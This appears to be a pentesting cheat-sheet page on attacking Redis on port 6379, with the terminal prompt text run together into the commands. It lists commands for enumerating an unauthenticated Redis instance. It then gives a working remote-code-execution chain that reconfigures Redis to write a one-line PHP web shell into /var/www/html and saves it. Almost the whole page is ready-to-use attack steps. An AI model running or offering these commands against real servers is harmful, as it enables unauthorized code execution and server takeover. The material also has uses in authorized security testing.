Back to Port Tracker
🟥
Redis
Port 6379Database
Redis KV store — unauthenticated by default. Dump keys or write files for RCE.
// methodology checklist
Step-by-step commands
1
Connect & enumerate
howlsec@kali·shell
redis-cli -h $thowlsec@kali·shell
INFOhowlsec@kali·shell
CONFIG GET dirhowlsec@kali·shell
KEYS *2
RCE via file write
Write SSH key, webshell, or cron job depending on CONFIG dir.
howlsec@kali·shell
CONFIG SET dir /var/www/htmlhowlsec@kali·shell
CONFIG SET dbfilename shell.phphowlsec@kali·shell
SET x '<?php system($_GET["c"]);?>'howlsec@kali·shell
SAVE